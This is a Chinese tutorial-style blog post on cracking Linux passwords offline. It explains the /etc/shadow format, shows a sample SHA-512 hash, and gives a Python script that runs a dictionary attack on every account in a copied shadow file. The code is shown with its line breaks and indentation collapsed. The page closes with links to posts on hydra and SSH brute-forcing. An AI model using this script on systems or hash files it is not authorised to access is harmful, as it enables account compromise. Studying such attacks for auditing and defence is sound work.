linux密码暴力破解机
linux 密码保存在
/etc/shadow
shadow 文件的保存格式
python:$$mWSyC6Pv$hpMreQT77R9ML/Xx1QnRAow1tUTDjIowaTssV7bZw9S44FXYd93kfrFQ8Y2vpj/bQfrub/Q.Z6XkYDt4gAUBE0:::::::
加密格式:
{用户名}:{加密后的口令密码}:{口令最后修改时间距原点(1970-1-1)的天数}:{口令最小修改间隔(防止修改口令,如果时限未到,将恢复至旧口令):{口令最大修改间隔}:{口令失效前的警告天数}:{账户不活动天数}:{账号失效天数}:{保留}
密码域密文也是由三部分组成的,即:$id$salt$encrypted。
id为1时,采用md5进行加密;
id为5时,采用SHA256进行加密;
id为6时,采用SHA512进行加密。
在python中有一个crypt 模块可以进行密码计算,而且不用我们担心加密方式是什么。
crypt 方法接收两个参数,第一个是需要加密的明文,第二个参数是 salt.
linux salt 为 $6$mWSyC6Pv$ 形式 其中6表示加密方式 sha512
>>> import crypt
>>> crypt.crypt('sdssdd','$6$mWSyC6Pv$')
'$6$mWSyC6Pv$8AhSQcqAsoGsMIFHnLhvCRf4cg5gWvPHhWtliw39yIGUYwK5uODO6bzL7GUxD.X.U5N14m3MA0Pikf5fsyO0/'
>>>
>>>
shadow 只有超级用户才有权限查看,所以拷贝出来的shadow文件需要修改权限
chmod shadow
代码实现
import crypt def testPass(cryptPass):
salt = cryptPass[0:12] # 获取加密方式以及密码盐
try:
dictFile = open('dictionary', 'r') # 打开密码字典
try:
for word in dictFile.readlines():
word = word.strip('\n')
cryptWord = crypt.crypt(word, salt) # 将字典中读取的铭文密码通过加密与shadow密码进行判断
if cryptWord == cryptPass:
print('[+] Found Password: ' + word + "\n")
return
print('[-] Password not Found.\n')
return
except:
dictFile.close()
except:
print('[-] dictionary 文件无法打开')
exit(0) def main():
try:
passFile = open('shadow') # 打开shadow文件
try:
for line in passFile.readlines(): # 一行一行读取
if ":" in line:
user = line.split(':')[0] # 利用 : 分隔 获取用户名
cryptPass = line.split(':')[1].strip(' ') #去掉前后空格
print('[*] Cracking Password For : ' + user)
testPass(cryptPass)
except:
passFile.close()
except:
print('[-] shadow 文件无法打开') if __name__ == '__main__':
main()
linux密码暴力破解机的更多相关文章
- Python 黑客 --- 002 入门级 ZIP压缩文件口令暴力破解机
Python 黑客 入门级实战:ZIP压缩文件口令暴力破解机 使用的系统:Ubuntu 14.04 LTS Python语言版本:Python 2.7.10 V 编写zip 压缩文件口令破解器需要使用 ...
- SSH密码暴力破解及防御实战
SSH密码暴力破解及防御实战 一.Hydra(海德拉) 1.1 指定用户破解 二.Medusa(美杜莎) 2.1 语法参数 2.2 破解SSH密码 三.Patator 3.1 破解SSH密码 四.Br ...
- Linux下暴力破解工具Hydra详解
一.简介 Number one of the biggest security holes are passwords, as every password security study shows. ...
- linux下暴力破解工具hydra【转】
一.简介 Number one of the biggest security holes are passwords, as every password security study shows. ...
- Kali中密码暴力破解工具hydra的使用
前言 hydra是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解.密码能否破解,在于字典是否强大.本文仅从安全角度去讲解工具的使用,请 ...
- 通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解
0x1 工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2 步骤说明 ...
- 密码暴力破解工具acccheck使用
title: acccheck categories: Password Attacks tags: [passwords,kali linux,acccheck,infogathering,pass ...
- 强力密码暴力破解工具:hydra
语法: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FIL ...
- linux 防暴力破解
#!/bin/bash SCANIP=`grep "Failed" /var/log/secure* | awk '{print $(NF-3)}'| sort |uniq -c ...
随机推荐
- 【转】汽车CAN总线
概述 CAN(Controller Area Network)总线协议是由 BOSCH 发明的一种基于消息广播模式的串行通信总线,它起初用于实现汽车内ECU之间可靠的通信,后因其简单实用可靠等特点,而 ...
- Luogu 2764 最小路径覆盖问题 / Libre 6002 「网络流 24 题」最小路径覆盖 (网络流,最大流)
Luogu 2764 最小路径覆盖问题 / Libre 6002 「网络流 24 题」最小路径覆盖 (网络流,最大流) Description 给定有向图G=(V,E).设P是G的一个简单路(顶点不相 ...
- box-sizing border-box 的理解
http://blog.csdn.net/isaisai/article/details/20449827 -webkit-box-sizing: border-box; 则div 设置的宽高将包含 ...
- keystone v3.0与2.0的区别
参看http://blog.chinaunix.net/uid-21335514-id-3497996.html
- Javascript面向
一.前言 面向对象:专注于由哪一个对象来解决这个问题,编程特点是出现了一个类,从类中拿到对象,由这个对象去解决具体问题. 对于调用者来说,面向过程需要调用者自己去实现各种函数.而面向对象, ...
- 「Django」浏览+1的操作
适应于网页.文章等浏览次数统计 1.Models设置:添加viewed方法 class NewsTitle(models.Model): title = models.CharField(max_le ...
- JavaScript常用模块
JavaScript常用模块 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.序列化与反序列化 JSON.stringify(obj) 序列化 JSON.parse(str) ...
- shell脚本中自定义日志记录到文件
自定义日志函数和前期变量 # adirname - return absolute dirname of given file adirname() { odir=`pwd`; cd `dirname ...
- SQL记录-PLSQL条件控制
PL/SQL条件控制 决策结构需要程序员指定一个或多个条件要计算,或由程序进行测试,如果条件被确定为真那么一条或多条语句被执行,如果要被执行的其它语句条件被确定为假,则选其它执行块. 以下是从在大 ...
- bzoj千题计划257:bzoj4199: [Noi2015]品酒大会
http://www.lydsy.com/JudgeOnline/problem.php?id=4199 求出后缀数组的height 从大到小枚举,合并 维护组内 元素个数,最大.次大.最小.次小 # ...